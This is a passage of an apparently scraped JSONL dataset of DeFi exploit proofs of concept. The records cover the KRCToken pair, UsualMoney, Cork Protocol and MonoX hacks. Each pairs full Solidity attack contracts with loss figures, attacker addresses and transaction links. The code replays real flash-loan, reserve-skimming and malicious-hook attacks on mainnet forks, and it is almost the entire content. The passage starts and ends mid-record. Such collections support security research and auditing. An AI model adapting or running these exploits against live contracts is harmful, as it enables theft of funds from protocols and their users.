pancakeV3FlashCallback(uint256, uint256, bytes memory) public {\n usdt.approve(address(router), type(uint256).max);\n\n uint256 deadline = 1747556507;\n address[] memory path = new address[](2);\n path[0] = address(usdt);\n path[1] = address(krcToken);\n\n // Step 5: First swap (USDT -> KRC) with a large amount to initiate the imbalance\n uint256 amountIn1 = 144116157450400259173940;\n router.swapExactTokensForTokensSupportingFeeOnTransferTokens(amountIn1, 0, path, address(this), deadline);\n\n // Step 6: Second swap (USDT -> KRC) with the remaining balance\n uint256 amountIn2 = 204040969184595153079754; // Hardcoded from trace\n router.swapExactTokensForTokensSupportingFeeOnTransferTokens(amountIn2, 0, path, address(this), deadline);\n\n // Step 7: The core manipulation. A series of 17 precise transfers and skims\n // This desynchronizes the pair's cached reserves from its actual token balances.\n // The values are taken directly from the original attack transaction.\n krcToken.transfer(address(krc_pair), 26158607120271760914);\n krc_pair.skim(address(this));\n krcToken.transfer(address(krc_pair), 23542746408244584823);\n krc_pair.skim(address(this));\n krcToken.transfer(address(krc_pair), 21188471767420126341);\n krc_pair.skim(address(this));\n krcToken.transfer(address(krc_pair), 19069624590678113707);\n krc_pair.skim(address(this));\n krcToken.transfer(address(krc_pair), 17162662131610302337);\n krc_pair.skim(address(this));\n krcToken.transfer(address(krc_pair), 15446395918449272104);\n krc_pair.skim(address(this));\n krcToken.transfer(address(krc_pair), 13901756326604344894);\n krc_pair.skim(address(this));\n krcToken.transfer(address(krc_pair), 12511580693943910405);\n krc_pair.skim(address(this));\n krcToken.transfer(address(krc_pair), 11260422624549519365);\n krc_pair.skim(address(this));\n krcToken.transfer(address(krc_pair), 10134380362094567429);\n krc_pair.skim(address(this));\n krcToken.transfer(address(krc_pair), 9120942325885110687);\n krc_pair.skim(address(this));\n krcToken.transfer(address(krc_pair), 8208848093296599619);\n krc_pair.skim(address(this));\n krcToken.transfer(address(krc_pair), 7387963283966939658);\n krc_pair.skim(address(this));\n krcToken.transfer(address(krc_pair), 6649166955570245693);\n krc_pair.skim(address(this));\n krcToken.transfer(address(krc_pair), 5984250260013221124);\n krc_pair.skim(address(this));\n krcToken.transfer(address(krc_pair), 5385825234011899012);\n krc_pair.skim(address(this));\n krcToken.transfer(address(krc_pair), 2980897375759759211);\n \n // Step 8: The profitable swap, extracting a huge amount of USDT\n uint256 amountOutUSDT = 355361934507515425212391;\n krc_pair.swap(0, amountOutUSDT, address(this), new bytes(0));\n\n // Step 9: Repay the PancakeV3 flash loan with its fee\n uint256 pcv3_repay_amount = 100050000000000000000000;\n usdt.transfer(address(pancake_v3_pool), pcv3_repay_amount);\n }\n}\n\ninterface I0x6098_DPP_DODO {\n function flashLoan(uint256 baseAmount, uint256 quoteAmount, address _assetTo, bytes calldata data) external;\n}\n", "type": "exploit_poc", "protocol": "KRCToken_pair", "date": "2025-05", "file_name": "KRCToken_pair_exp.sol", "attack_vector": "flash_loan", "content_hash": "2ec3a19294dfeae1", "collected_at": "2026-01-07T10:59:16.513803", "_source": "postmortems", "chain": "bsc", "block_number": null, "total_lost_raw": "7k USD", "total_lost_usd": 7000.0, "attacker_address": "https://bscscan.com/address/0x9943f26831f9b468a7fe5ac531c352baab8af655", "attack_contract": null, "vulnerable_contract": "https://bscscan.com/address/0xdbead75d3610209a093af1d46d5296bbeffd53f5", "attack_tx": "https://bscscan.com/tx/0x78f242dee5b8e15a43d23d76bce827f39eb3ac54b44edcd327c5d63de3848daf", "postmortem_url": "https://x.com/OpenZeppelin/status/1953111764536561867", "twitter_url": "https://x.com/CertikAIAgent/status/1924280794916536765", "has_keyinfo": true, "has_analysis": true, "has_attack_vector": true, "severity": "low", "severity_raw": "7k USD", "category": "flash-loan", "exploit_code": "function testExploit() public balanceLog {\n // Step 1: Initial Flashloan from Dodo Private Pool\n dodo_private_pool.flashLoan(0, dodo_borrow_amount, address(this), new bytes(1));\n }\n\n // Step 2: Dodo Flashloan Callback", "has_exploit_code": true, "keyinfo_total_lost": "7k USD", "keyinfo_attacker": "https://bscscan.com/address/0x9943f26831f9b468a7fe5ac531c352baab8af655", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "https://bscscan.com/address/0xdbead75d3610209a093af1d46d5296bbeffd53f5", "keyinfo_attack_tx": "https://bscscan.com/tx/0x78f242dee5b8e15a43d23d76bce827f39eb3ac54b44edcd327c5d63de3848daf", "analysis_postmortem": "https://x.com/OpenZeppelin/status/1953111764536561867", "analysis_twitter": "https://x.com/CertikAIAgent/status/1924280794916536765", "funds_lost_formatted": "$7.0K", "content_richness_score": 9.88, "quality_estimate": "high", "title": "KRCToken_pair Exploit (2025-05)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": true} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.15;\n\nimport \"../basetest.sol\";\n\n// @KeyInfo - Total Lost : 43k USD\n// Attacker : https://etherscan.io/address/0x2ae2f691642bb18cd8deb13a378a0f95a9fee933\n// Attack Contract : https://etherscan.io/address/0xf195b8800b729aee5e57851dd4330fcbb69f07ea\n// Vulnerable Contract : https://etherscan.io/address/0x35d8949372d46b7a3d5a56006ae77b215fc69bc0\n// Attack Tx : https://etherscan.io/tx/0x585d8be6a0b07ca2f94cfa1d7542f1a62b0d3af5fab7823cbcf69fb243f271f8\n\n\n// @Info\n// Vulnerable Contract Code : https://etherscan.io/address/0x35d8949372d46b7a3d5a56006ae77b215fc69bc0#code\n\n// @Analysis\n// Post-mortem : https://www.quadrigainitiative.com/hackfraudscam/usualmoneyusdssyncvaultpricingarbitrageexploit.php\n// Twitter Guy : https://x.com/BlockSecTeam/status/1927601457815040283\n// Hacking God : https://x.com/tonykebot/status/1927603610180788499\n\n\ncontract UsualMoney is BaseTestWithBalanceLog {\n uint256 blocknumToForkFrom = 22575930 - 1; \n uint256 borrowAmount = 1899838465685386939269479;\n uint256 private uniV3TokenId;\n \n\n //Related contracts \n IWETH constant WETH = IWETH(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);\n IERC20 constant USD0Plus = IERC20(0x35D8949372D46B7a3D5A56006AE77B215fc69bC0);\n IERC20 constant USDC = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);\n IERC20 constant USD0 = IERC20(0x73A15FeD60Bf67631dC6cd7Bc5B6e8da8190aCF5);\n IERC20 constant sUSDS = IERC20(0xa3931d71877C0E7a3148CB7Eb4463524FEc27fbD);\n ICurvePool constant USD0USD0Pool = ICurvePool(0x1d08E7adC263CfC70b1BaBe6dC5Bb339c16Eec52);\n INonfungiblePositionManager constant UNI_V3_POS = INonfungiblePositionManager(0xC36442b4a4522E871399CD717aBDD847Ab11FE88);\n address constant UniV3_Router = 0xE592427A0AEce92De3Edee1F18E0157C05861564;\n IVaultRouter constant VaultRouter = IVaultRouter(0xE033cb1bB400C0983fA60ce62f8eCDF6A16fcE09);\n IMorphoBlue constant morphoBlue = IMorphoBlue(0xBBBBBbbBBb9cC5e90e3b3Af64bdAF62C37EEFFCb);\n\n \n function setUp() public {\n vm.createSelectFork(\"mainnet\", blocknumToForkFrom);\n fundingToken = address(0);\n // Deal 10 sUSDS tokens to this contract for initial liquidity provision\n deal(address(sUSDS), address(this), 10);\n }\n\n function testExploit() public balanceLog {\n // Approve UNI_V3_POS to spend sUSDS for minting liquidity position\n sUSDS.approve(address(UNI_V3_POS), 10);\n // Create and initialize Uniswap V3 pool for USD0/sUSDS if it doesn't exist\n UNI_V3_POS.createAndInitializePoolIfNecessary(address(USD0), address(sUSDS), 500, 181769597477799861);\n \n // Prepare parameters for minting a small liquidity position in Uniswap V3\n INonfungiblePositionManager.MintParams memory mintParams = INonfungiblePositionManager.MintParams({\n token0: address(USD0),\n token1: address(sUSDS),\n fee: 500,\n tickLower: -536050,\n tickUpper: -536040,\n amount0Desired: 0,\n amount1Desired: 10,\n amount0Min: 0,\n amount1Min: 0,\n recipient: address(this),\n deadline: 1748370729\n });\n // Mint the liquidity position (this sets up the pool for manipulation)\n UNI_V3_POS.mint(mintParams);\n \n // Initiate Morpho Blue flash loan with USD0Plus, borrowing the specified amount\n morphoBlue.flashLoan(address(USD0Plus), borrowAmount, bytes(\"\"));\n }\n\n function onMorphoFlashLoan(uint256 fee, bytes calldata data) external {\n USD0Plus.approve(address(VaultRouter), borrowAmount);\n USD0Plus.approve(address(morphoBlue), USD0Plus.balanceOf(address(this)));\n \n \n // Declare VaultRouter deposit parameters.\n address augustus = 0xDEF171Fe48CF0115B1d80b88dc8eAB59176FEe57;\n address tokenIn = address(USD0Plus);\n uint256 amountIn = 1899838465685386939269479;\n\n // Deposit borrowed USD0Plus to VaultRouter, which performs a swap via ParaSwap\n VaultRouter.deposit(\n IParaSwapAugustus(augustus),\n tokenIn,\n amountIn,\n 1,\n 0,\n address(this),\n hex\"a6886da9000000000000000000000000000000000000000000000000000000000000002000000000000000000000000073a15fed60bf67631dc6cd7bc5b6e8da8190acf5000000000000000000000000a3931d71877c0e7a3148cb7eb4463524fec27fbd000000000000000000000000e592427a0aece92de3edee1f18e0157c0586156400000000000000000000000000000000000000000001924e73188d44bfd301670000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000068360529000000000000000000000000e033cb1bb400c0983fa60ce62f8ecdf6a16fce090000000000000000000000000000000000000000000000000000000000000000000000000000000000000000e033cb1bb400c0983fa60ce62f8ecdf6a16fce0900000000000000000000000000000000000000000000000000000000000001c00000000000000000000000000000000000000000000000000000000000000220d3ba174c721349ff915ec624c071422a00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002b73a15fed60bf67631dc6cd7bc5b6e8da8190acf50001f4a3931d71877c0e7a3148cb7eb4463524fec27fbd00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\"\n );\n\n \n // Decrease liquidity from the Uniswap V3 position to retrieve tokens\n UNI_V3_POS.decreaseLiquidity(INonfungiblePositionManager.DecreaseLiquidityParams({\n tokenId: 998318,\n liquidity: 8720452440564722,\n amount0Min: 0,\n amount1Min: 0,\n deadline: 1748370719\n }));\n\n // Collect the tokens from the Uniswap V3 position\n UNI_V3_POS.collect(INonfungiblePositionManager.CollectParams({\n tokenId: 998318,\n recipient: address(this),\n amount0Max: type(uint128).max,\n amount1Max: type(uint128).max\n }));\n\n // Approve USD0USD0Pool to spend USD0 for exchange\n USD0.approve(address(USD0USD0Pool), USD0.balanceOf(address(this)));\n // Exchange USD0 to USD0Plus in the Curve pool (index 0 to 1)\n USD0USD0Pool.exchange(0, 1, USD0.balanceOf(address(this)), 0, address(this));\n // Approve Morpho Blue to spend the borrowed amount (for repayment)\n USD0Plus.approve(address(morphoBlue), borrowAmount);\n // Approve USD0USD0Pool to spend some USD0Plus for reverse exchange\n USD0Plus.approve(address(USD0USD0Pool), 43847725777335611631336);\n // Exchange USD0Plus back to USD0 in the Curve pool (index 1 to 0), profiting from the mispricing.\n USD0USD0Pool.exchange(1, 0, 43847725777335611631336, 0, address(this));\n \n // Approve UniV3_Router to spend USD0 for the swap\n USD0.approve(address(UniV3_Router), USD0.balanceOf(address(this)));\n\n // Perform exact input swap on Uniswap V3: USD0 -> USDC (0.01% fee) -> WETH (0.05% fee)\n ISwapRouter(payable(UniV3_Router)).exactInput(\n ISwapRouter.ExactInputParams({\n path: abi.encodePacked(address(USD0), uint24(100), address(USDC), uint24(500), address(WETH)),\n recipient: address(this),\n deadline: 1748370719,\n amountIn: 42973674683230843641696,\n amountOutMinimum: 0\n })\n );\n // Withdraw WETH to ETH (native token)\n WETH.withdraw(WETH.balanceOf(address(this))); \n }\n\n receive() external payable {}\n}\n\ninterface IERC20 {\n function approve(address spender, uint256 amount) external returns (bool);\n function balanceOf(address account) external view returns (uint256);\n}\n\ninterface IWETH is IERC20 {\n function withdraw(uint256 wad) external;\n}\n\ninterface ICurvePool {\n function exchange(int128 i, int128 j, uint256 dx, uint256 min_dy, address receiver) external returns (uint256);\n function getUnwrapCap(address _receiver) external view returns (uint256);\n}\n\n\ninterface INonfungiblePositionManager {\n struct MintParams {\n address token0;\n address token1;\n uint24 fee;\n int24 tickLower;\n int24 tickUpper;\n uint256 amount0Desired;\n uint256 amount1Desired;\n uint256 amount0Min;\n uint256 amount1Min;\n address recipient;\n uint256 deadline;\n }\n function mint(MintParams calldata params) external payable returns (uint256 tokenId, uint128 liquidity, uint256 amount0, uint256 amount1);\n\n struct DecreaseLiquidityParams {\n uint256 tokenId;\n uint128 liquidity;\n uint256 amount0Min;\n uint256 amount1Min;\n uint256 deadline;\n }\n function decreaseLiquidity(DecreaseLiquidityParams calldata params) external payable returns (uint256 amount0, uint256 amount1);\n\n struct CollectParams {\n uint256 tokenId;\n address recipient;\n uint128 amount0Max;\n uint128 amount1Max;\n }\n function collect(CollectParams calldata params) external payable returns (uint256 amount0, uint256 amount1);\n\n function createAndInitializePoolIfNecessary(address token0, address token1, uint24 fee, uint160 sqrtPriceX96) external payable returns (address pool);\n}\n\ninterface IMorphoBlue {\n function flashLoan(address token, uint256 assets, bytes calldata data) external;\n}\n\n\n\ninterface IParaSwapAugustus {}\n\n\ninterface IVaultRouter {\n function deposit(\n IParaSwapAugustus augustus,\n address tokenIn, \n uint256 amountIn,\n uint256 minTokensToReceive,\n uint256 minSharesToReceive,\n address receiver,\n bytes calldata swapData\n ) external payable returns (uint256 sharesReceived);\n}\n\ninterface ISwapRouter {\n struct ExactInputParams {\n bytes path;\n address recipient;\n uint256 deadline;\n uint256 amountIn;\n uint256 amountOutMinimum;\n }\n function exactInput(ExactInputParams calldata params) external payable returns (uint256 amountOut);\n}\n", "type": "exploit_poc", "protocol": "UsualMoney", "date": "2025-05", "file_name": "UsualMoney_exp.sol", "attack_vector": "flash_loan", "content_hash": "7b6fde5fec8ad924", "collected_at": "2026-01-07T10:59:16.513862", "_source": "postmortems", "chain": "ethereum", "block_number": null, "total_lost_raw": "43k USD", "total_lost_usd": 43000.0, "attacker_address": "https://etherscan.io/address/0x2ae2f691642bb18cd8deb13a378a0f95a9fee933", "attack_contract": "https://etherscan.io/address/0xf195b8800b729aee5e57851dd4330fcbb69f07ea", "vulnerable_contract": "https://etherscan.io/address/0x35d8949372d46b7a3d5a56006ae77b215fc69bc0", "attack_tx": "https://etherscan.io/tx/0x585d8be6a0b07ca2f94cfa1d7542f1a62b0d3af5fab7823cbcf69fb243f271f8", "postmortem_url": "https://www.quadrigainitiative.com/hackfraudscam/usualmoneyusdssyncvaultpricingarbitrageexploit.php", "twitter_url": "https://x.com/BlockSecTeam/status/1927601457815040283", "has_keyinfo": true, "has_analysis": true, "has_attack_vector": true, "severity": "medium", "severity_raw": "43k USD", "category": "flash-loan", "exploit_code": "function testExploit() public balanceLog {\n // Approve UNI_V3_POS to spend sUSDS for minting liquidity position\n sUSDS.approve(address(UNI_V3_POS), 10);\n // Create and initialize Uniswap V3 pool for USD0/sUSDS if it doesn't exist\n UNI_V3_POS.createAndInitializePoolIfNecessary(address(USD0), address(sUSDS), 500, 181769597477799861);\n \n // Prepare parameters for minting a small liquidity position in Uniswap V3\n INonfungiblePositionManager.MintParams memory mintParams = INonfungiblePositionManager.MintParams({\n token0: address(USD0),\n token1: address(sUSDS),\n fee: 500,\n tickLower: -536050,\n tickUpper: -536040,\n amount0Desired: 0,\n amount1Desired: 10,\n amount0Min: 0,\n amount1Min: 0,\n recipient: address(this),\n deadline: 1748370729\n });\n // Mint the liquidity position (this sets up the pool for manipulation)\n UNI_V3_POS.mint(mintParams);\n \n // Initiate Morpho Blue flash loan with USD0Plus, borrowing the specified amount\n morphoBlue.flashLoan(address(USD0Plus), borrowAmount, bytes(\"\"));\n }", "has_exploit_code": true, "keyinfo_total_lost": "43k USD", "keyinfo_attacker": "https://etherscan.io/address/0x2ae2f691642bb18cd8deb13a378a0f95a9fee933", "keyinfo_attack_contract": "https://etherscan.io/address/0xf195b8800b729aee5e57851dd4330fcbb69f07ea", "keyinfo_vulnerable_contract": "https://etherscan.io/address/0x35d8949372d46b7a3d5a56006ae77b215fc69bc0", "keyinfo_attack_tx": "https://etherscan.io/tx/0x585d8be6a0b07ca2f94cfa1d7542f1a62b0d3af5fab7823cbcf69fb243f271f8", "analysis_postmortem": "https://www.quadrigainitiative.com/hackfraudscam/usualmoneyusdssyncvaultpricingarbitrageexploit.php", "analysis_twitter": "https://x.com/BlockSecTeam/status/1927601457815040283", "funds_lost_formatted": "$43.0K", "content_richness_score": 10, "quality_estimate": "high", "title": "UsualMoney Exploit (2025-05)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": true} +{"source_code": "pragma solidity 0.8.26;\n\nimport \"forge-std/Test.sol\";\nimport \"../interface.sol\";\n\n// @KeyInfo - Total Lost : 12M USD\n// Attacker : 0xea6f30e360192bae715599e15e2f765b49e4da98\n// Attack Contract : https://etherscan.io/address/0x9af3dce0813fd7428c47f57a39da2f6dd7c9bb09\n// Vulnerable Contract : \n// Attack Txs: https://app.blocksec.com/explorer/tx/eth/0xfd89cdd0be468a564dd525b222b728386d7c6780cf7b2f90d2b54493be09f64d\n\n// @Info\n// Vulnerable Contract Code : \n\n// @Analysis\n// Post-mortem : https://x.com/SlowMist_Team/status/1928100756156194955\n// Twitter Guy : https://x.com/SlowMist_Team/status/1928100756156194955\n// Hacking God : N/A\n\naddress constant ERC1967Proxy = 0xCCd90F6435dd78C4ECCED1FA4db0D7242548a2a9;\naddress constant LiquidityToken = 0x05816980fAEC123dEAe7233326a1041f372f4466;\naddress constant WstETH = 0x7f39C581F595B53c5cb19bD0b3f8dA6c935E2Ca0;\naddress constant ERC1967Proxy2 = 0x96E0121D1cb39a46877aaE11DB85bc661f88D5fA;\naddress constant CorkConfig = 0xF0DA8927Df8D759d5BA6d3d714B1452135D99cFC;\naddress constant CorkHook = 0x5287E8915445aee78e10190559D8Dd21E0E9Ea88;\naddress constant PoolManager = 0x000000000004444c5dc75cB358380D2e3dE08A90;\naddress constant _pa = 0xCd5fE23C85820F7B72D0926FC9b05b43E359b7ee;\naddress constant _exchangeRateProvider = 0x7b285955DdcbAa597155968f9c4e901bb4c99263;\naddress constant _erc1967Proxy = 0x55B90B37416DC0Bd936045A8110d1aF3B6Bf0fc3;\naddress constant attacker = 0xEA6f30e360192bae715599E15e2F765B49E4da98;\n\ncontract ContractTest is Test {\n function setUp() public {\n vm.createSelectFork(\"mainnet\", 22581020 - 1);\n }\n\n function testPoC() public {\n emit log_named_decimal_uint(\"before attack: balance of attacker\", IERC20(WstETH).balanceOf(attacker), 18);\n vm.startPrank(attacker, attacker);\n AttackerC attC = new AttackerC();\n // Approve in https://app.blocksec.com/explorer/tx/eth/0xb54308956e58fc124503e01eaae153e54eb738fd188e476460dba78e61793b45\n IERC20(WstETH).approve(address(attC), 1928391283912839123812839123000000000000000000);\n // Approve in https://app.blocksec.com/explorer/tx/eth/0x89ba58edaf9f40dc0c781c40351ba392be31263faa6be3a29c2ee152f271df6d?line=0\n IERC20(LiquidityToken).approve(address(attC), 123981298312831298398123000000000000000000);\n attC.attack();\n vm.stopPrank();\n emit log_named_decimal_uint(\"after attack: balance of attacker\", IERC20(WstETH).balanceOf(attacker), 18);\n }\n}\n\ncontract AttackerC is Test {\n function attack() public {\n uint256 balLT = IERC20(LiquidityToken).balanceOf(attacker);\n IERC20(LiquidityToken).transferFrom(attacker, address(ERC1967Proxy), balLT);\n\n uint256 balW = IERC20(WstETH).balanceOf(attacker);\n IERC20(WstETH).transferFrom(attacker, address(this), balW);\n\n (address[] memory ct, address[] memory ds) = IERC1967ProxyB(ERC1967Proxy2).getDeployedSwapAssets(\n address(WstETH), \n _pa, \n uint256(493150684700) * 1e6, \n 7776001, \n _exchangeRateProvider, \n uint8(0), \n uint8(7)\n );\n\n address ct2 = ct[1];\n address ds2 = ds[1];\n\n (uint256 rA, uint256 rB) = ICorkHook(CorkHook).getReserves(address(WstETH), ct2);\n \n // approve CorkHook for both tokens\n IERC20(WstETH).approve(address(CorkHook), type(uint256).max);\n IERC20(ct2).approve(address(CorkHook), type(uint256).max);\n\n uint256 minOut = (rB * 9999) / 10000;\n ICorkHook(CorkHook).swap(address(WstETH), address(ct2), 0, minOut, \"\");\n\n IERC20(WstETH).approve(address(CorkHook), 0);\n IERC20(ct2).approve(address(CorkHook), 0);\n \n // approve ERC1967Proxy for WstETH and depositPsm\n IERC20(WstETH).approve(address(ERC1967Proxy), type(uint256).max);\n (uint256 received, uint256 _exchangeRate) = IERC1967ProxyA(ERC1967Proxy).depositPsm(\n bytes32(0x6b1d373ba0974d7e308529a62e41cec8bac6d71a57a1ba1b5c5bf82f6a9ea07a), \n 4e15\n );\n IERC20(WstETH).approve(address(ERC1967Proxy), 0);\n\n ICorkConfig(CorkConfig).initializeModuleCore(\n address(WstETH), \n ds2, \n uint256(1), \n uint256(100), \n address(this)\n );\n\n bytes32 id = IERC1967ProxyA(ERC1967Proxy).getId(\n address(WstETH), \n ds2, \n uint256(1), \n uint256(100), \n address(this)\n );\n\n ICorkConfig(CorkConfig).issueNewDs(id, block.timestamp * 10);\n\n (address[] memory n_ct, address[] memory n_ds) = IERC1967ProxyB(ERC1967Proxy2).getDeployedSwapAssets(\n ds2, \n address(WstETH), \n uint256(1), \n uint256(100), \n address(this), \n uint8(0), \n uint8(1)\n );\n\n address ct3 = n_ct[0];\n address ds3 = n_ds[0];\n\n IERC20(ds2).approve(address(ERC1967Proxy), type(uint256).max);\n\n uint256 balRa7 = IERC20(ds2).balanceOf(address(this));\n // may revert\n IERC1967ProxyA(ERC1967Proxy).depositLv(\n id, \n balRa7 / 2, \n 0, \n 0, \n 0, \n block.timestamp * 10\n );\n\n bytes memory data = abi.encode(\n ds2, \n ct3, \n id, \n ds3\n );\n (bool ok, ) = address(PoolManager).call(\n abi.encodeWithSelector(\n IPoolManager.unlock.selector, \n data\n )\n );\n\n uint256 balCT2 = IERC20(ct2).balanceOf(address(this));\n uint256 balDS2 = IERC20(ds2).balanceOf(address(this));\n\n IERC20(ct2).approve(address(ERC1967Proxy), type(uint256).max);\n IERC20(ds2).approve(address(ERC1967Proxy), type(uint256).max);\n\n IERC1967ProxyA(ERC1967Proxy).returnRaWithCtDs(\n bytes32(0x6b1d373ba0974d7e308529a62e41cec8bac6d71a57a1ba1b5c5bf82f6a9ea07a), \n // id,\n balCT2\n );\n\n IERC20(WstETH).approve(address(ERC1967Proxy), 0);\n IERC20(WstETH).approve(address(CorkHook), 0);\n IERC20(WstETH).approve(address(_erc1967Proxy), 0);\n\n withdraw();\n }\n\n function beforeSwap(address sender, PoolKey memory key, SwapParams memory params, bytes memory data) internal {\n (bool success, ) = CorkHook.call(\n abi.encodeWithSelector(\n ICorkHook.beforeSwap.selector, \n sender, \n key, \n params,\n data\n )\n );\n }\n\n function unlockCallback(bytes calldata cd) external returns (bytes memory){\n (address ds2, address ct3, bytes32 id, address ds3) = abi.decode(cd, (address, address, bytes32, address));\n uint bal = IERC20(ds2).balanceOf(_erc1967Proxy);\n\n IPoolManager(PoolManager).sync(ct3);\n PoolKey memory key = PoolKey({\n currency0: ct3,\n currency1: ds2,\n fee: 0,\n tickSpacing: 1,\n hooks: address(this)\n });\n bytes memory hookData = abi.encode(\n uint256(1), \n address(this), \n uint256(0),\n bal,\n id,\n uint256(1)\n );\n\n beforeSwap(_erc1967Proxy, key, SwapParams({\n zeroForOne: true,\n amountSpecified: 100000000000000,\n sqrtPriceLimitX96: 79228162514264337593543950336\n }), hookData);\n\n IERC20(ct3).approve(address(PoolManager), 123);\n IERC20(ct3).transfer(address(PoolManager), 110987905101460);\n\n uint256 r = IPoolManager(PoolManager).settleFor(address(CorkHook));\n\n beforeSwap(_erc1967Proxy, key, SwapParams({\n zeroForOne: false,\n amountSpecified: int256(r),\n sqrtPriceLimitX96: 79228162514264337593543950336\n }), hex\"\");\n\n\n IERC20(ds3).approve(address(ERC1967Proxy), type(uint256).max);\n IERC20(ct3).approve(address(ERC1967Proxy), type(uint256).max);\n\n uint256 balDs2 = IERC20(ct3).balanceOf(address(this));\n\n IERC1967ProxyA(ERC1967Proxy).returnRaWithCtDs(\n id, \n balDs2\n );\n\n IPoolManager(PoolManager).sync(ds2);\n IERC20(ds2).transfer(address(PoolManager), 1);\n\n IPoolManager(PoolManager).settleFor(address(CorkHook));\n\n return hex\"\";\n }\n\n function rate() public view returns (uint256) {\n return 0;\n }\n\n function rate(bytes32) public view returns (uint256) {\n return 1;\n }\n\n function withdraw() public {\n uint256 bal = IERC20(WstETH).balanceOf(address(this));\n IERC20(WstETH).transfer(attacker, bal); \n }\n}\n\n\ninterface IERC1967ProxyA {\n\tfunction returnRaWithCtDs(bytes32, uint256) external returns (uint256);\n\tfunction depositPsm(bytes32, uint256) external returns (uint256, uint256);\n\tfunction depositLv(bytes32, uint256, uint256, uint256, uint256, uint256) external returns (uint256);\n\tfunction getId(address, address, uint256, uint256, address) external returns (bytes32); \n}\ninterface IERC1967ProxyB {\n\tfunction getDeployedSwapAssets(address, address, uint256, uint256, address, uint8, uint8) external returns (address[] memory, address[] memory); \n}\ninterface ICorkConfig {\n\tfunction issueNewDs(bytes32, uint256) external;\n\tfunction initializeModuleCore(address, address, uint256, uint256, address) external; \n}\n\nstruct PoolKey {\n address currency0;\n address currency1;\n uint24 fee;\n int24 tickSpacing;\n address hooks;\n}\n\nstruct SwapParams {\n bool zeroForOne;\n int256 amountSpecified;\n uint160 sqrtPriceLimitX96;\n}\n\ninterface ICorkHook {\n\tfunction swap(address, address, uint256, uint256, bytes calldata) external returns (uint256);\n\tfunction getReserves(address, address) external returns (uint256, uint256); \n function beforeSwap(address, PoolKey calldata, SwapParams calldata, bytes calldata) external returns (bytes4, int256, uint24);\n}\ninterface IPoolManager {\n\tfunction unlock(bytes calldata) external returns (bytes memory); \n function settleFor(address) external returns (uint256);\n function sync(address) external;\n\n}\n", "type": "exploit_poc", "protocol": "Corkprotocol", "date": "2025-05", "file_name": "Corkprotocol_exp.sol", "attack_vector": null, "content_hash": "400264e5402e353e", "collected_at": "2026-01-07T10:59:16.513957", "_source": "postmortems", "chain": "ethereum", "block_number": 22581020, "total_lost_raw": "12M USD", "total_lost_usd": 12000000.0, "attacker_address": null, "attack_contract": "https://etherscan.io/address/0x9af3dce0813fd7428c47f57a39da2f6dd7c9bb09", "vulnerable_contract": null, "attack_tx": null, "postmortem_url": "https://x.com/SlowMist_Team/status/1928100756156194955", "twitter_url": "https://x.com/SlowMist_Team/status/1928100756156194955", "has_keyinfo": true, "has_analysis": true, "has_attack_vector": false, "severity": "critical", "severity_raw": "12M USD", "category": "unknown", "exploit_code": "function testPoC() public {\n emit log_named_decimal_uint(\"before attack: balance of attacker\", IERC20(WstETH).balanceOf(attacker), 18);\n vm.startPrank(attacker, attacker);\n AttackerC attC = new AttackerC();\n // Approve in https://app.blocksec.com/explorer/tx/eth/0xb54308956e58fc124503e01eaae153e54eb738fd188e476460dba78e61793b45\n IERC20(WstETH).approve(address(attC), 1928391283912839123812839123000000000000000000);\n // Approve in https://app.blocksec.com/explorer/tx/eth/0x89ba58edaf9f40dc0c781c40351ba392be31263faa6be3a29c2ee152f271df6d?line=0\n IERC20(LiquidityToken).approve(address(attC), 123981298312831298398123000000000000000000);\n attC.attack();\n vm.stopPrank();\n emit log_named_decimal_uint(\"after attack: balance of attacker\", IERC20(WstETH).balanceOf(attacker), 18);\n }\n}\n\ncontract AttackerC is Test {", "has_exploit_code": true, "keyinfo_total_lost": "12M USD", "keyinfo_attacker": "", "keyinfo_attack_contract": "https://etherscan.io/address/0x9af3dce0813fd7428c47f57a39da2f6dd7c9bb09", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "https://x.com/SlowMist_Team/status/1928100756156194955", "analysis_twitter": "https://x.com/SlowMist_Team/status/1928100756156194955", "funds_lost_formatted": "$12.00M", "content_richness_score": 7, "quality_estimate": "medium", "title": "Corkprotocol Exploit (2025-05)", "has_total_lost": true, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": true} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\n// !! THIS FILE WAS AUTOGENERATED BY abi-to-sol v0.5.3. SEE SOURCE BELOW. !!\npragma solidity >=0.7.0 <0.9.0;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\ncontract ContractTest is Test {\n WETH9 WETH = WETH9(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);\n USDC usdc = USDC(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);\n MonoToken mono = MonoToken(0x2920f7d6134f4669343e70122cA9b8f19Ef8fa5D);\n Monoswap monoswap = Monoswap(0xC36a7887786389405EA8DA0B87602Ae3902B88A1);\n MonoXPool monopool = MonoXPool(0x59653E37F8c491C3Be36e5DD4D503Ca32B5ab2f4);\n address Monoswap_address = 0xC36a7887786389405EA8DA0B87602Ae3902B88A1;\n address Mono_Token_Address = 0x2920f7d6134f4669343e70122cA9b8f19Ef8fa5D;\n address WETH9_Address = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;\n address Innocent_user_1 = 0x7B9aa6ED8B514C86bA819B99897b69b608293fFC;\n address Innocent_user_2 = 0x81D98c8fdA0410ee3e9D7586cB949cD19FA4cf38;\n address Innocent_user_3 = 0xab5167e8cC36A3a91Fd2d75C6147140cd1837355;\n address USDC_Address = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;\n\n uint256 Amount_Of_MonoToken_On_XPool;\n\n uint256 public Amount_Of_USDC_On_XPool;\n\n uint256 public Amoount_Of_Mono_On_This;\n CheatCodes cheats = 